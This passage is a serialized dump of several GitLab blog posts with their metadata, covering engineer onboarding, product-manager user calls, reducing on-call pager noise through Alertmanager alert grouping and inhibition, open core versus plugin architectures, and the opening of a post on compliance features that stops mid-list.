be mindful of opportunities to consolidate communication and reduce context switching. \n\nOur onboarding issues are confidential because they contain sensitive account information, but the templates of the issue are [public](https://about.gitlab.com/handbook/people-group/general-onboarding/#onboarding-issue-template-links) and they look something like this:\n\n```\n- Accounts and access\n- Day 1: Getting started: Accounts and paperwork\n- Day 2: Remote working and our values\n- Day 3: Security & compliance\n- Day 4: Social & benefits\n- Day 5: Git & push some code\n- Weeks 2 - 4: Explore\n- Job-specific tasks\n```\n\nAs a hiring manager, you want to ensure that you have fleshed out the `job specific tasks` ahead of time with things that are important for the specific role the engineer will be working in. This will generally include things like ensuring they have database access, pointing them to the working groups that will support their work, and letting them know the right Slack channels to support their development. \n\n## 🥂 Pick the right onboarding buddy\n\nThe advantages of the buddy system have been [well documented for years](https://www.pmi.org/learning/library/implementing-buddy-system-workplace-9376). At GitLab we lean heavily on the onboarding buddy [model](https://about.gitlab.com/handbook/people-group/general-onboarding/onboarding-buddies/) and rather than having multiple people support the new engineer, it will generally be the hiring manager and a single buddy. \n\nThe advantages of an onboarding buddy at GitLab are several:\n\n- **Domain expert**: A onboarding buddy knows the domain the new engineer is going to be working in. They have already written, reviewed, and merged code into production in the same way we want the new engineer to. They know the process, pitfalls, and gotchas of the domain. \n- **Single context / Accountabilibuddy**: A single onboarding buddy drastically reduces context switching and \"paralysis by analysis.\" They know they always have someone to ask and this creates a psychologically safe space for them. GitLab can often be a scary environment to navigate when you are new due to impostor syndrome and we want to curb that. \n- **GitLabisms**: At GitLab, we have code and then we have \"GitLabisms.\" These are things that are specific to GitLab, be it workflows or custom tooling. These are often more complicated to become familiar with than the code itself. The onboarding buddy should have experience with these already and be able to point the engineer in the right direction when they are stuck. \n- **Mentor**: Mentoring is one of the single best things an engineer can do to grow themselves and become more sure of their own skills. By being an onboarding buddy, they are given a growth opportunity to cover their own blindspots and upskill. \n\nAs a rule of thumb, the onboarding buddy should ideally be someone from the engineer's new team who is working in the same domain, i.e. a senior frontend engineer mentors a new intermediate frontend engineer, both of which are from the same team. While this rule is not set in stone, it is often less effective to have an onboarding buddy be cross-team due to a lack of domain expertise.\n\n## 👌 Pair, pair, and more pairing\n\nPairing when programming and when working on tasks is a very effective way to help new engineers build up their knowledge without needing to pour through documentation. \n\nIn general, we would recommend that the engineer pair with their onboarding buddy on their first few merge requests to get used to the workflow and pitfalls of working with the GitLab Development Kit. But this is not where it should stop. We encourage pairing across the board at GitLab either via open pairing sessions such as our Frontend Pairing office hours, having a manager pair with an engineer, or pairing with a stable counterpart such as your team's UX designer. \n\nWhen it comes to onboarding, pairing is helpful. We do this because we want to:\n\n- **Create psychological safety**: We all feel impostor syndrome. This is worse when you're new to a job and don't know the ecosystem yet. Regular pairing helps to undo that worry as you see people are just people and even staff/principal engineers forget the closing brace!\n- **Create relationships/network**: In an all-remote company, it becomes important to know who to reach out to in moments of need. Regular pairing helps to foster these relationships and creates a safety net with your peers. \n- **Demonstrate our values**: We believe in [CREDIT](https://handbook.gitlab.com/handbook/values/) at GitLab. Regular pairing supports all our core values and helps to encourage us to be mindful of them when working. \n- **Give and get real-time feedback**: When pairing, we can get real-time feedback on our process and how we're approaching solutions. This is extremely important for new engineers who might not be familiar with core GitLab concepts such as [iteration](https://handbook.gitlab.com/handbook/values/#iteration) (\"How can we break this down?\").\n\n## 🖐 All the coffee chats\n\nBeing distributed means we do communication differently at GitLab. One key to successfully onboarding a new engineer is to get them comfortable with our communication style. \n\nTo do this, we encourage regular [coffee chats](https://about.gitlab.com/company/culture/all-remote/informal-communication/#coffee-chats) and a culture of zero shame about it. \n\nEncourage your new hire to set up regular coffee chats with people across the company to help build rapport and become comfortable with GitLab as a whole. \n\nTo help empower new hires, have them ask the following question in their initial 10  - 15 chats:\n\n> What is the one thing I can do to be successful at GitLab?\n\n## 🤘 Tailor the experience to the role\n\nAs a hiring manger, you need to understand that people learn and grow in different ways. No single method will work for everyone and it is your job to ensure your new hire feels supported in how they want to learn. \n\nDuring the onboarding, observe your new hire and touch base with them in your weekly 1:1 for what they are and **are not** enjoying about the experience so far. Once you have this information, iterate on it and tailor their onboarding to include more of what they prefer. \n\nAsk constructive questions that can have actionable tasks each week to ensure a better process for them:\n\n> Do you want to pair more? Do you want more alone time? Are there particular areas you need more guidance in? Are there things I can do to better support you?\n\nYou should aim to strike a balance during their onboarding for a mixture of practical work and time dedicated to studying. Work with the direct report to establish the best balance for them as an individual. \n\n## 🚢 Ship some code in a week or less\n\nThis is arguably the most important aspect of successfully onboarding an engineer and setting them up for success. The sooner they can push code to production, the sooner they can begin to refine their skills and work effectively with the team. \n\nThe best software companies in the world set a timeline of shipping code in a week. At GitLab, this is not a hard-and-fast rule, but in the **Create** stage is what we strive for. \n\nTo ensure an engineer can ship code within a week, we need to ensure they are supported in a few ways:\n\n- **Tooling**: At GitLab we have a fantastic [local development kit](https://gitlab.com/gitlab-org/gitlab-development-kit) which sets up an engineer to begin delivering code. We support this kit heavily as a first-class citizen and are constantly refining the tooling and [docs](https://gitlab.com/gitlab-org/gitlab-development-kit/-/tree/main/doc) to ensure everyone can contribute. For a new hire, consider having their first pairing session to be setting up their GDK – this will get them one step closer to shipping quality code. \n- **Dev process**: At GitLab, we always strike to [break down work into its smallest deliverable](https://about.gitlab.com/handbook/product/product-principles/#the-minimal-viable-change-mvc) that can be picked up by an engineer without deep contextual understanding. We do this to support the open source community as much as our own engineers. \n\n## 💬 Let's get some feedback\n\nAs a hiring manager, you want to ensure you build a stable feedback loop into your processes and this includes onboarding. During your 1:1s you should include a weekly feedback cycle for both **you** and your direct report. \n\nThese feedback cycles should take the form of:\n\n- **Appreciation (Collaboration / Results / Diversity / Iteration / Transparency)**: A moment of appreciation for something positive that is highlighted inline with our values. \n- **Coaching (Collaboration / Results / Diversity / Iteration / Transparency)**: A growth opportunity that is highlighted inline with our values. \n\nThese weekly feedback loops allow the engineer to highlight things that could be done better in both the context of the onboarding and their day-to-day experience. \n\nLastly, it is optional but encouraged to hold an onboarding retrospective when the initial onboarding issue is closed with the following points to talk through:\n\n- What went well?\n- What didn't go so well? \n- What could be improved? \n- Action items\n\n## 💾 TL;DR \n\nThe most successful software companies have a solidified onboarding process and continue to expand on it, setting up both the company and engineers for long-term success. The above methods are how we do it at GitLab. \n\n## 💻 Remote development and the developer experience\n\nAt GitLab we have recently been hiring for our [Remote Development effort](https://about.gitlab.com/direction/create/ide/remote_development/) and many of these items are in play with the engineers we are bringing into the company. We want to improve these processes to make onboarding even easier, mitigating the need for even setting up a specific local development toolchain to be able to ship production code. \n\nIf you think you might be interested in a role at GitLab working on Remote Development, check out our open listings [here](https://boards.greenhouse.io/gitlab/jobs/6201785002).\n\nRead more about [leading endingeering teams](/blog/cadence-is-everything-10x-engineering-organizations-for-10x-engineers/).\n",[4103,942,2368],{"slug":13327,"featured":6,"template":678},"quickly-onboarding-engineers-successfully","content:en-us:blog:quickly-onboarding-engineers-successfully.yml","Quickly Onboarding Engineers Successfully","en-us/blog/quickly-onboarding-engineers-successfully.yml","en-us/blog/quickly-onboarding-engineers-successfully",{"_path":13333,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13334,"content":13340,"config":13345,"_id":13347,"_type":16,"title":13348,"_source":17,"_file":13349,"_stem":13350,"_extension":20},"/en-us/blog/three-faces-of-user-calls",{"title":13335,"description":13336,"ogTitle":13335,"ogDescription":13336,"noIndex":6,"ogImage":13337,"ogUrl":13338,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13338,"schema":13339},"How product managers can get more out of user calls","There are 3 types of user calls. Here's how GitLab product managers approach them and how we leverage our transparency value to better understand our users.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682372/Blog/Hero%20Images/michal-czyz-ALM7RNZuDH8-unsplash.jpg","https://about.gitlab.com/blog/three-faces-of-user-calls","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How product managers can get more out of user calls\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Viktor Nagy\"}],\n        \"datePublished\": \"2022-07-20\",\n      }",{"title":13335,"description":13336,"authors":13341,"heroImage":13337,"date":13342,"body":13343,"category":695,"tags":13344},[2544],"2022-07-20","\n\nOne of the core jobs of product managers is to speak with users to better understand their needs, pain points and the context in which they operate and use our products. But not all user calls are the same. \n\nThere are 3 prominent types of user calls:\n\n- Discovery or problem validation calls\n- Roadmap discussions\n- Solution validation calls\n\nHere's an in-depth look at how we approach the three types of user calls at GitLab.\n\n## Discovery calls\n\nDiscovery or problem validation calls are product managers' most crucial conversations with users. Discovery calls are typically set up to learn about our users in a targeted way. These calls help build a better understanding of users' pain points. \n\nFor discovery, we need a recipe for repeatable, comparable user calls. For this reason, we should create an interview script and follow that script on all the user calls. This does not mean these calls are robotic and devoid of improvisation, not at all! The script should provide the backbone of the discussions. We can adjust it either during the call or in advance based on prior knowledge about the user. Good discovery calls typically take the form of a deep-dive conversation: we know the script by heart and can run back and forth around it, always asking the questions that fit the conversation. \n\nFinding the right users is one of the most challenging parts of discovery calls. Thankfully, with GitLab, this is relatively easy. We can always reach out to the most active users on issues and invite them to a call. Another technique I employ is to find users in the [Cloud Native Computing Foundation](https://www.cncf.io) and Kubernetes communities' Slack channels and articles on [Medium](https://medium.com). This way, I can also find non-GitLab users, a set of people likely more valuable to interview than existing users. Finally, we can recruit users with the support of the account managers. They are always helpful in connecting PMs with users. Asking the users about their needs shows them that we genuinely care about them.\n\nThere are at least two distinct discovery calls: PM-led or UX-led. UX research typically works on projects with a strict scope. For PM-driven calls, a great framework is [\"Continuous discovery\" calls by Teresa Torres](https://www.producttalk.org/continuous-discovery/). With continuous discovery, we build a deep understanding of our users and get well-understood opportunities. The technique allows us to get a broad view and to dive deep into specific aspects of our problem space when needed.\n\n## Roadmap discussions\n\nRoadmap discussion calls are typically initiated by sales or account management teams. Product managers are asked to join the prospect/customer call to strengthen our positions and show how much we care for the customer. \n\nTo prepare for roadmap discussions, PMs should have an effective way to present the roadmap. This typically happens in the form of slides. A diligent PM might even prepare something specifically for the client.\n\nDuring these calls, the user/customer/prospect will typically ask the questions, and the PMs respond. Our role in these calls is to represent the truth. We might be tempted to paint a rosier picture about the current or expected state of the product than is actually true, and we should avoid making time-bound promises.\n\nWhat are the expected outcomes of roadmap discussions? They can help strengthen our position with the user. Remember that these calls primarily cater to our customers/users and customer-facing teams. As such, they are unlikely to provide deep learning about our users. \n\nIf we approach these calls with the intention to prove that our roadmap is correct, we will likely fall victim to both response and confirmation biases. There are techniques to validate a roadmap, but they are more aligned with problem validation than roadmap discussion calls. For example, UX researchers should be able to help validate a roadmap as a UX research project.\n\n## Solution validation calls\n\nLast but not least, we have solution validation calls. These calls serve our learning but are way more focused than discovery calls. Solution validation calls require some form of a prototype for a specific problem we want to test and get feedback on from our users.\n\nAt GitLab, the prototypes are typically built by product design or engineering. The product manager might miss some of these calls in an empowered and autonomous team. But, as these calls are great learning experiences, we should aim to be there to support and learn if we can.\n\nA solution validation call might be started with a concise roadmap discussion. Unlike in sales calls, our aim is not to influence the user but to set the scene for solution validation. The central part of the call should be around the proposed solution. We should provide the least amount of guidance to our users since there are no humans available to direct our users when they are working with the actual product. If much guidance is required, that is a sign that we might want to rethink our UX approach.\n\nFinding suitable interview candidates for a solution validation call might be tricky. For GitLab, we often use the shortcut of inviting users based on their activity on relevant issues. Sometimes, when our issues provide enough context, we might get some solution validation asynchronously as users give their feedback directly in the issue.\n\n## How many calls?\n\nHow often does a good PM have all these calls? For discovery calls, I aim to have 3 calls per week. Above this, I don’t mind taking 1 sales call. While I prefer the product designer to run solution validation calls, I try to participate there too. Not every solution requires dedicated validation, so having a target number for solution validation calls is unrealistic. The better the discovery calls are, the fewer solution validation calls you might need. Still, even the best discovery cannot and should not answer all the questions of a solution validation. Often there are different (and totally valid) approaches to the same problem, and we need to pick the one that is the easiest for users to understand.\n\nI think we need to speak to our users every day. Working at GitLab, sometimes this might take the form of issue comments, but face-to-face calls are a must. In any case, during these discussions we should aim to learn from our users, not just answer their questions. A handy question in issues is to ask for more context from our users. The response might highlight unknown use cases or edge cases we missed previously.\n\n## Take the calls\n\nIt is helpful to remember all the user call types we practice as PMs. As mentioned, I think the most crucial user calls for PMs are the discovery calls. If we don’t make discovery calls, nobody will; also, PMs might not be needed in the other calls. That said, a product manager's job is to also help the business be viable. So we should be able to support sales and always have a deck ready for roadmap calls. Lastly, we should work continuously with our team on solution validation so that everyone is confident in our solution.\n\n",[4103,2705,2704],{"slug":13346,"featured":6,"template":678},"three-faces-of-user-calls","content:en-us:blog:three-faces-of-user-calls.yml","Three Faces Of User Calls","en-us/blog/three-faces-of-user-calls.yml","en-us/blog/three-faces-of-user-calls",{"_path":13352,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13353,"content":13359,"config":13365,"_id":13367,"_type":16,"title":13368,"_source":17,"_file":13369,"_stem":13370,"_extension":20},"/en-us/blog/reducing-pager-fatigue-and-improving-on-call-life",{"title":13354,"description":13355,"ogTitle":13354,"ogDescription":13355,"noIndex":6,"ogImage":13356,"ogUrl":13357,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13357,"schema":13358},"How we improved on-call life by reducing pager noise","Too many pages? Here's how we tackled on-call SRE quality of life by grouping alerts by service and only paging on downstream services.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682368/Blog/Hero%20Images/cover.png","https://about.gitlab.com/blog/reducing-pager-fatigue-and-improving-on-call-life","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we improved on-call life by reducing pager noise\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Steve Azzopardi\"}],\n        \"datePublished\": \"2022-07-19\",\n      }",{"title":13354,"description":13355,"authors":13360,"heroImage":13356,"date":13362,"body":13363,"category":734,"tags":13364},[13361],"Steve Azzopardi","2022-07-19","\n\nTo monitor the health of GitLab.com we use multiple\n[SLIs](https://sre.google/workbook/implementing-slos/#what-to-measure-using-slis)\nfor each service. We then page the on-call when one of these SLIs is not\nmeeting our internal [SLOs and burning through the error\nbudget](https://sre.google/workbook/implementing-slos/#decision-making-using-slos-and-error-budgets)\nwith the hopes of fixing the problem before too many of our users even notice.\n\nAll of our services SLIs and SLOs are defined using [jsonnet](https://jsonnet.org/) in\nwhat we call the [metrics-catalog](https://gitlab.com/gitlab-com/runbooks/-/tree/168397dee0ad955bfb473fd0ddb9146667eeaa13/metrics-catalog)\nwhere we specify a service and its SLIs/SLOs. For example, the [`web-pages`](https://gitlab.com/gitlab-com/runbooks/-/blob/168397dee0ad955bfb473fd0ddb9146667eeaa13/metrics-catalog/services/web-pages.jsonnet)\nservice has [an apdex SLO of 99.5%](https://gitlab.com/gitlab-com/runbooks/-/blob/168397dee0ad955bfb473fd0ddb9146667eeaa13/metrics-catalog/services/web-pages.jsonnet#L22)\nand multiple SLIs such as [loadbalancer](https://gitlab.com/gitlab-com/runbooks/-/blob/168397dee0ad955bfb473fd0ddb9146667eeaa13/metrics-catalog/services/web-pages.jsonnet#L60),\n[go server](https://gitlab.com/gitlab-com/runbooks/-/blob/168397dee0ad955bfb473fd0ddb9146667eeaa13/metrics-catalog/services/web-pages.jsonnet#L80),\nand [time to write HTTP headers](https://gitlab.com/gitlab-com/runbooks/-/blob/168397dee0ad955bfb473fd0ddb9146667eeaa13/metrics-catalog/services/web-pages.jsonnet#L113).\nHaving these in code we can automatically generate Prometheus [recording rules](https://prometheus.io/docs/prometheus/latest/configuration/recording_rules/)\nand [alerting rules](https://prometheus.io/docs/prometheus/latest/configuration/alerting_rules/)\nfollowing [multiple burn rate alerts](https://sre.google/workbook/alerting-on-slos/#5-multiple-burn-rate-alerts).\nEvery time we start burning through our 30-day error budget for an SLI too fast\nwe page the SRE on-call to investigate and solve the problem.\n\nThis setup has been working well for us for over two years now, but one big\npain point remained when there was a service-wide degradation. The SRE on-call\nwas getting paged **for every SLI** associated with a service or its\ndownstream dependencies, meaning they can get up to 10 pages per service since\nthe service has 3-5 SLIs on average and we also have regional and canary SLIs.\nThis gets very distracting, it's stress-inducing, and it also doesn't let the\non-call focus on solving the problem but just acknowledges pages. For example\nbelow we can see the on-call getting paged 11 times in 5 minutes for the same\nservice.\n\n![web-pages alert storm](https://about.gitlab.com/images/blogimages/reducing-pager-fatigue/web-pages-alert-storm.png){: .shadow}\n\nWhat is even worse is when we have a site-wide outage, where the on-call can\nend up getting 50+ pages because all services are in a degraded state.\n\n![site wide outage alert storm](https://about.gitlab.com/images/blogimages/reducing-pager-fatigue/site-wide-outage-alert-storm.png)\n\nIt was a big problem for the quality of life for the on-call and we needed to\nfix this. We started doing some research on how to best solve this problem and\nopened an issue to [document all possible\nsolutions](https://gitlab.com/gitlab-com/gl-infra/reliability/-/issues/15721).\nAfter some time we decided to go with grouping alerts by service and\nintroducing service dependencies for alerting/paging.\n\n## Group alerts by service\n\nThe smallest and most effective iteration was to group the alerts by the\nservice. Taking the previous example where the `web-pages` service paged the\non-call 11 times, it should have only paged the on-call once, and shown\nwhich SLIs were affected. We use [Alertmanager](https://prometheus.io/docs/alerting/latest/alertmanager/) for\nall our alerting logic, and this already had a feature called\n[grouping](https://prometheus.io/docs/alerting/latest/alertmanager/#grouping)\nso we could group alerts by labels.\n\nThis is what an alert looks like in our Prometheus setup:\n```\nALERTS{aggregation=\"regional_component\", alert_class=\"slo_violation\", alert_type=\"symptom\", alertname=\"WebPagesServiceServerApdexSLOViolationRegional\", alertstate=\"firing\", component=\"server\", env=\"gprd\", environment=\"gprd\", feature_category=\"pages\", monitor=\"global\", pager=\"pagerduty\", region=\"us-east1-d\", rules_domain=\"general\", severity=\"s2\", sli_type=\"apdex\", slo_alert=\"yes\", stage=\"main\", tier=\"sv\", type=\"web-pages\", user_impacting=\"yes\", window=\"1h\"}\n```\n\nAll alerts have the `type` label attached to them to specify which service they\nbelong to. We can use this label and the `env` label to group all the\nproduction alerts that are firing for the `web-pages` service.\n\n![grouping alerts by the `type` and `env` labels](https://about.gitlab.com/images/blogimages/reducing-pager-fatigue/group-alerts-by-service.png)\n\nWe also had to update our Pagerduty and Slack templates to show the right\ninformation. Before we only showed the alert title and description but this had\nto change since we are now alerting by service rather than by 1 specific SLO.\nYou can see the changes at [runbooks!4684](https://gitlab.com/gitlab-com/runbooks/-/merge_requests/4684).\n\n![Before and after on pages](https://about.gitlab.com/images/blogimages/reducing-pager-fatigue/before-after-slack-alerts.png)\n\nThis was already a big win! The on-call now gets a page saying \"service\nweb-pages\" and then the list of SLIs that are burning through the error budget - we went from 11 pages to 1 page!\n\n## Service Dependencies\n\nHowever we still had the problem that when a downstream service (such as the database)\nstarts burning through the error budget, it has a cascading effect where  `web`,\n`git`, and `api` will also start burning through the error budget and page the\non-call for each service. That was the next thing that we had to solve.\n\nWe needed some way to not alert on the `api` service if the `patroni`\n(database) service was burning through the error budget because it's clear if the\ndatabase is degraded the `api` service will end up degraded as well. We used\nanother feature of Alertmanager called\n[inhibition](https://prometheus.io/docs/alerting/latest/alertmanager/#inhibition)\nwhere we can tell Alertmanager to not alert on `api` if some alerts on `patroni`\nare already firing.\n\n![visualization of how inhibit rules work](https://about.gitlab.com/images/blogimages/reducing-pager-fatigue/inhibit-alerts.png)\n\nI've mentioned that all of our SLIs/SLOs are inside of the\n[metrics-catalog](https://gitlab.com/gitlab-com/runbooks/-/tree/168397dee0ad955bfb473fd0ddb9146667eeaa13/metrics-catalog)\nso it was a natural fit to add dependencies there, and this is exactly what\nwe did in [runbooks!4710](https://gitlab.com/gitlab-com/runbooks/-/merge_requests/4710). With this\nwe can specify that an SLI depends on another SLI of a different service which\nwill automatically create\n[`inhibit_rules`](https://prometheus.io/docs/alerting/latest/configuration/#inhibit_rule)\nfor Alertmanager.\n\nSince inhibit rules could potentially prevent alerting someone, we've used\nthese sparingly. To avoid creating inhibit rules too broadly, we've implemented\nthe following restrictions:\n1. An SLI can't depend on an SLI of the same service.\n1. The SLI has to exist for that service.\n1. We only allow equal operations, no regex on SLIs.\n\nAfter that it was only a matter of adding the `dependsOn` on each service for example:\n1. [`web` depends on `patroni`](https://gitlab.com/gitlab-com/runbooks/-/merge_requests/4735)\n1. [`api` depends on `patroni`](https://gitlab.com/gitlab-com/runbooks/-/merge_requests/4750)\n1. [`web-pages` depends on `api`](https://gitlab.com/gitlab-com/runbooks/-/merge_requests/4813)\n\nThe `web-pages` inhibit rule shows a chain of dependencies from `web-pages ->\napi -> patroni`, so if `patroni` is burning through the error budget it will\nnot page for `api` and `web-pages` services anymore!\n\n## How it's working\n\nWe have been using alert grouping and service dependencies for over a month now, and we have already seen some improvements:\n\n1. The on-call only gets paged once per service.\n1. When there is a large site-wide outage they only get paged 5-10 times since we have external probes that also alert us.\n1. There is an overall downward trend on pages for the on-call as seen below.\n\n![pages trend](https://about.gitlab.com/images/blogimages/reducing-pager-fatigue/pages-trend.png)\n\nCover image by [Yaoqi](https://unsplash.com/@yaoqiqiqilai) on [Unsplash](https://unsplash.com/photos/7iatBuqFvY0)\n{: .note}\n",[6962],{"slug":13366,"featured":6,"template":678},"reducing-pager-fatigue-and-improving-on-call-life","content:en-us:blog:reducing-pager-fatigue-and-improving-on-call-life.yml","Reducing Pager Fatigue And Improving On Call Life","en-us/blog/reducing-pager-fatigue-and-improving-on-call-life.yml","en-us/blog/reducing-pager-fatigue-and-improving-on-call-life",{"_path":13372,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13373,"content":13379,"config":13384,"_id":13386,"_type":16,"title":13387,"_source":17,"_file":13388,"_stem":13389,"_extension":20},"/en-us/blog/open-core-is-worse-than-plugins",{"title":13374,"description":13375,"ogTitle":13374,"ogDescription":13375,"noIndex":6,"ogImage":13376,"ogUrl":13377,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13377,"schema":13378},"Open core is worse than plugins... and that’s why it’s better","Learn why GitLab's decision to opt for the \"worse\" choice has been a great success.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681581/Blog/Hero%20Images/gitlab-linux-ibm-z-redhat-openshift.jpg","https://about.gitlab.com/blog/open-core-is-worse-than-plugins","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Open core is worse than plugins... and that’s why it’s better\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2022-07-14\",\n      }",{"title":13374,"description":13375,"authors":13380,"heroImage":13376,"date":13381,"body":13382,"category":8943,"tags":13383},[3532],"2022-07-14","\nOpen core is obviously a horrible approach to creating a product with an ecosystem of extensions and integrations: There are no proper protocols and interfaces. Instead, anyone can just add their integration to the code base and even adjust said code base to their needs if it doesn’t fit.\n\nSo why have we been using the “Worse” approach at GitLab for many years now, with great success? Because [Worse is Better](https://www.dreamsongs.com/RiseOfWorseIsBetter.html) (a term conceived by [Richard P. Gabriel](https://en.wikipedia.org/wiki/Richard_P._Gabriel)). Of course, it turns out that “Worse” is actually even better than Worse is Better suggested.\n\nGabriel’s [original argument](https://www.dreamsongs.com/RiseOfWorseIsBetter.html) was that (slightly) intrinsically worse but simpler and easier to implement software has better survival characteristics than better-designed, more complex software, and thus will consistently win in the marketplace.\n\nAt GitLab, we have found that this is basically true, which is why we, for example, favor “boring technology,” even if it might not be the best possible solution for a given scenario. But this doesn’t tell the whole story: It turns out that such software is not just more successful, it also ends up being qualitatively better in the end.\n\n## Worse is even better\n\nIt is important to note that Gabriel’s original argument was not that **bad** software wins out. In fact, both his “worse” and his “better” have the same qualities:\n\n1. Simplicity, of interface and implementation\n2. Correctness\n3. Consistency\n4. Completeness\n\nHowever, his “worse” and his “better” have slightly different weights for the value placed on these characteristics, with the (worse) New Jersey school favoring simplicity of implementation over simplicity of interface, whereas the (better) “MIT” school favors simplicity of interface, even at the cost of a more complex implementation.\n\nIf a simple interface can be achieved with a simple implementation, both schools agree, the difference comes when there are tradeoffs to be made.\n\nWhat makes worse even better, and what Gabriel didn’t take into account even in later [versions](https://www.dreamsongs.com/WorseIsBetter.html), is the tremendous value of feedback loops. Being early doesn’t just let the New Jersey approach win in the marketplace, it also allows it to collect feedback much, much earlier and much more quickly than the MIT approach.\n\nPaul MacCready won the first [Kremer prize](https://en.wikipedia.org/wiki/Kremer_prize) not by initially setting out to build the best human-powered aircraft, but by building the one that was easiest to repair in order to gather feedback more quickly. While other teams took a year or more to recover from a crash, his plane sometimes flew again the same day. And so it was exactly this willingness to lose sight of the prize that resulted in him winning it.\n\nIn much the same way, it is these quick feedback loops that a “worse” approach enables, started much earlier, that eventually lead to a better product.\n\n## The problem with plugins\n\nAt least since the success of Photoshop, a proper plugin interface has been recognized as _The Right Way_ to make software both more compelling for users and less easy to leave behind by creating a third-party ecosystem that provides useful functionality without the vendor having to provide all of that functionality themselves.\n\nIt was so successful that systems like OpenDoc took the idea further to be just a set of plugins, with no real hosting application. None of these systems succeeded in the marketplace.\n\nOne of the reasons is that good plugin interfaces are not just hard, but downright fiendishly difficult to develop. The basic difficulty is that it is hard to get the balance right: what to expose, what to keep hidden, how to provide functionality. But that’s not the fiendish part.\n\nThe fiendishly difficult part of plugin API development is that the very things you need to do to handle the difficulties make the task even harder: You need to design more carefully, you need to make interfaces stable, you can only iterate them slowly.\n\nIn short: You face a chicken-and-egg problem of premature abstraction. In order to make a good plugin API, you need to see it being used, but in order to see how it is being used, you need to first have it. This dynamic delays initial availability and makes feedback cycles slower.\n\nSoftware is not the only domain facing this problem. Parks, for example, often have official paths that don’t match where people actually want to go. One group of landscape architects solved this by doing less: They didn’t put in any walkways in a park they had created. Instead, they waited for trails to materialize as people walked where they needed to walk. Only after those trails had materialized did they pave them, making them official.\n\nLast but not least, a plugin interface means that the final product the user sees, consisting of both the core application and all the plugins, is not as well-integrated as it could be. The value proposition of “here is a box with tools, have fun!” sounds a lot more enticing to developers than it does to end users, even when those tools are, by themselves, best of breed.\n\n## Open core\n\nOpen core, on the other hand, sounds like exactly the wrong approach, certainly from a software engineering point of view, as there are no defined black-box boundaries, but also from a business point of view as there doesn’t seem to be an actual mutually reinforcing ecosystem.\n\nHowever, the open core approach is great for end users, both for adopters who just want to use it and also adapters who need to tailor the system to their use case. And in the end, it is the end users that count.\n\nFor adapters, the system is immediately hackable. There is no need to wait for the vendor to provide a plugin interface in the first place, and no need to wait more for the vendor to make that plugin interface provide the functionality needed for a particular application some time in the future, if ever. Even if changes to the core application are required, this is at least possible.\n\nSince there is more adaptation activity happening sooner, the system becomes better at accommodating adaptation needs, and a virtuous cycle ensues.\n\nFor adopters, the benefits are multifold: First, the system gets more functionality more quickly, which is always good. Almost more importantly, this functionality is integrated by the vendor and provided as an integrated whole. There is a reason single-vendor office suites succeeded where OpenDoc’s toolbox approach failed.\n\nThat said, an open core approach does require solid engineering, a good architectural base, and ongoing vigilance. As [explained earlier](https://thenewstack.io/why-were-sticking-with-ruby-on-rails-at-gitlab/), we believe that Ruby on Rails provided us with a good starting point to build GitLab as a solid modular monolith, both approachable and well-structured. With that as a starting point, good design is encouraged by example, rather than being enforced by strict API boundary. Enforcement, on the other hand, comes in a more human form as pull requests are considered, shaped, and approved or rejected.\n\nSo boundaries still exist, but instead of being brick walls to crash against, they are low fences that are noticeably present, but can be stepped over if needed.\n\nAnd although these low fences are considered “worse” than the brick walls we are used to, they actually lead to better outcomes for everybody involved.\n",[4103,815,267],{"slug":13385,"featured":6,"template":678},"open-core-is-worse-than-plugins","content:en-us:blog:open-core-is-worse-than-plugins.yml","Open Core Is Worse Than Plugins","en-us/blog/open-core-is-worse-than-plugins.yml","en-us/blog/open-core-is-worse-than-plugins",{"_path":13391,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13392,"content":13398,"config":13403,"_id":13405,"_type":16,"title":13406,"_source":17,"_file":13407,"_stem":13408,"_extension":20},"/en-us/blog/top-5-compliance-features-to-leverage-in-gitlab",{"title":13393,"description":13394,"ogTitle":13393,"ogDescription":13394,"noIndex":6,"ogImage":13395,"ogUrl":13396,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13396,"schema":13397},"Top 5 compliance features to leverage in GitLab","Highlighting features we use daily, our security team outlines 5 ways to configure your GitLab instance for increased security and compliance.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679391/Blog/Hero%20Images/pexels-5strike.jpg","https://about.gitlab.com/blog/top-5-compliance-features-to-leverage-in-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Top 5 compliance features to leverage in GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Madeline Lake\"}],\n        \"datePublished\": \"2022-07-13\",\n      }",{"title":13393,"description":13394,"authors":13399,"heroImage":13395,"date":13400,"body":13401,"category":674,"tags":13402},[670],"2022-07-13","\n\nGitLab's [compliance management capabilities](https://docs.gitlab.com/ee/administration/compliance.html) are designed to integrate compliance into development and deployment processes from the start. As a tenured compliance professional and member of our [Security Compliance team here at GitLab](/handbook/security/security-assurance/security-compliance/), I can tell you from experience it is always easiest to design your processes to be secure and compliant from the start than it is to re-engineer existing processes to be compliant.\n\n**Why should you care about your GitLab instance being secure and compliant?**\nIn additon to reducing the risk of a breach and lowering costs, there are regulatory and compliance requirements to consider.\nTypically regulatory and compliance audits are unavoidable and can be time-consuming and stressful. However, GitLab has many easy-to-use, built-in features that may help fulfill your organization's compliance requirements and make your environment more secure. Here at GitLab, these are features we use everyday. The best part is, most of the features I'll outline below are included as [free features](/pricing/feature-comparison/).\n\n_Note: I'll add an asterisk (*) next to any feature which is not available on our free tier._\n\n**Here's the tl;dr list:**\n- [Enable Multi-Factor Authentication 